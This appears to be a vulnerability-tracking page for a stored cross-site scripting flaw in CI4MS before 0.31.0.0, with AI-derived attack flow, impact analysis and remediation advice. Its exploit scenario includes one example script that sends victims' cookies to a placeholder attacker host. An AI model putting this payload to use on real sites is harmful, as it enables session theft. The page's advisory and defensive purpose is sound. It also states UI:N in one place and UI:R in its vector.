Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to CI4MS application
-
DeliveryAccess Categories section in blog posts
-
ExploitInject malicious JavaScript payload
-
ExecutionStore XSS payload in database
-
PersistView Categories via blog posts
-
ImpactExecute arbitrary JavaScript in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker requires authenticated user access with permissions to create or edit blog posts in the Categories section of CI4MS versions prior to 0.31.0.0. The malicious JavaScript payload is automatically executed when any user views the affected blog categories without user interaction. |
| Impact | The CVSS 9.1 Critical rating reflects genuinely elevated risk factors: network-based attack vector (AV:N), low complexity (AC:L), scope change (S:C) indicating the vulnerability can affect resources beyond the vulnerable component, and high confidentiality impact (C:H). However, the requirement for low-privilege authentication (PR:L) limits exposure to users with content management permissions rather than anonymous attackers. Real-world risk assessment reveals no CISA KEV listing indicating active exploitation campaigns, and no publicly available exploit code identified, which moderates immediate urgency. The stored XSS nature means exploitation is automatable once an attacker gains authenticated access-the malicious category persists and affects multiple victims passively. In SSVC terms: exploitation status is none/POC, technical impact is total (arbitrary JavaScript execution in victim contexts enables session hijacking, credential theft, and malicious actions under victim identity), automatable is yes (once payload is stored). Priority depends on deployment context: highest risk in multi-tenant environments or instances where lower-privileged authenticated users exist, moderate risk in tightly-controlled single-admin deployments. The availability of vendor patch significantly reduces ongoing risk for proactive organizations. |
| Exploit ScenarioDerived | An attacker with low-privilege authenticated access to the CI4MS installation (such as a contributor or editor role with blog management permissions) navigates to the Categories management interface and creates a new category with a malicious JavaScript payload embedded in the category name or description field, for example: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. The application stores this payload without sanitization. Subsequently, when any user (including administrators or site visitors) views a blog post associated with this poisoned category, the stored JavaScript executes in their browser context, potentially exfiltrating session cookies, performing actions as the victim user, or delivering browser-based exploits. The low attack complexity and no user interaction requirement (UI:N) mean victims are compromised simply by viewing legitimate blog content through normal site usage. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges to inject malicious JavaScript through unsanitized category fields, affecting all users who view blog posts containing the poisoned categories. The vulnerability is confirmed patched in version 0.31.0.0. With CVSS 9.1 (Critical) due to scope change and high confidentiality impact, and low attack complexity requiring only low-privilege authentication, this represents significant risk in multi-user CMS environments despite no confirmed active exploitation (no CISA KEV listing) or public exploit code identified at time of analysis.
RemediationAI
Upgrade to CI4MS version 0.31.0.0 immediately, which contains vendor-released patches addressing the input sanitization and output encoding deficiencies in the Categories management module. The patched release is available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0 and should be deployed following standard application upgrade procedures including database backup and testing in non-production environments first. For environments where immediate upgrade is not feasible, implement temporary mitigation by restricting blog post and category management permissions to only highly trusted administrative users, and conduct audit of existing category content for suspicious JavaScript patterns. Review application logs for unusual category modification activity that might indicate exploitation attempts. Post-upgrade, validate that user input in Categories fields is properly sanitized and that output rendering includes context-appropriate encoding (HTML entity encoding for HTML contexts). Consult the GitHub security advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-r33w-c82v-x5v7 for any additional vendor-recommended hardening measures.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CI4MS is a modular content management system built on the CodeIgniter 4 PHP framework, implementing role-based access control and theme rendering capabilities. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the blog post Categories management module. The application accepts user input during category creation/editing without adequate input validation or sanitization, stores this raw input server-side in the database (stored XSS vector), and subsequently renders category data in blog post views without context-appropriate output encoding. The affected product is identified as cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:* for all versions prior to 0.31.0.0. This represents a classic second-order injection vulnerability where the malicious payload persists in the data layer and executes in victims' browsers during normal content viewing operations, independent of the initial injection event.
Know when Ci4ms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionNVD
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when creating or editing blog posts within the Categories section. An attacker can inject a malicious JavaScript payload into the Categories content, which is then stored server-side. This stored payload is later rendered unsafely when the Categories are viewed via blog posts, without proper output encoding, leading to stored cross-site scripting (XSS). This issue has been patched in version 0.31.0.0.
Executive ViewAI
CI4MS (CodeIgniter 4 CMS) versions prior to 0.31.0.0 contain a stored cross-site scripting vulnerability that allows authenticated blog administrators to inject malicious code affecting all site visitors who view poisoned content. This vulnerability poses significant risk to multi-user CMS deployments where administrative trust boundaries exist, as successful exploitation can compromise visitor sessions and data without their knowledge.
Vendor-released patch: CI4MS version 0.31.0.0. Until patched: restrict blog post management permissions to only essential staff; implement Web Application Firewall (WAF) rules to detect and block script tags in HTTP responses containing blog post content; conduct daily audits of category field modifications; isolate CMS from sensitive backend systems using network segmentation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
CI4MS (CodeIgniter 4 CMS skeleton) has a code injection vulnerability (CVSS 9.9) allowing authenticated users to execute
Environment file injection in CI4MS versions prior to 0.31.4.0 allows remote attackers to inject arbitrary configuration
Stored Cross-Site Scripting in CI4MS methods management allows authenticated users to inject malicious JavaScript into a
Stored cross-site scripting in CI4MS role/group management allows authenticated attackers to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.2.0 allows an authenticated user with System Settings → Company Informa
Stored cross-site scripting in CI4MS backend user management allows authenticated attackers with low-level privileges to
Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.0.0 lets an authenticated user with blog create/edit rights save JavaSc
Stored cross-site scripting (XSS) in CI4MS page management functionality allows authenticated attackers to inject malici
Stored cross-site scripting (XSS) in CI4MS menu management allows authenticated users with low privileges to inject mali
Stored cross-site scripting in CI4MS menu management allows authenticated attackers to inject malicious scripts that exe
Stored blind cross-site scripting in CI4MS backup management allows authenticated attackers to inject malicious JavaScri
EUVD-2026-18081
GHSA-r33w-c82v-x5v7
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB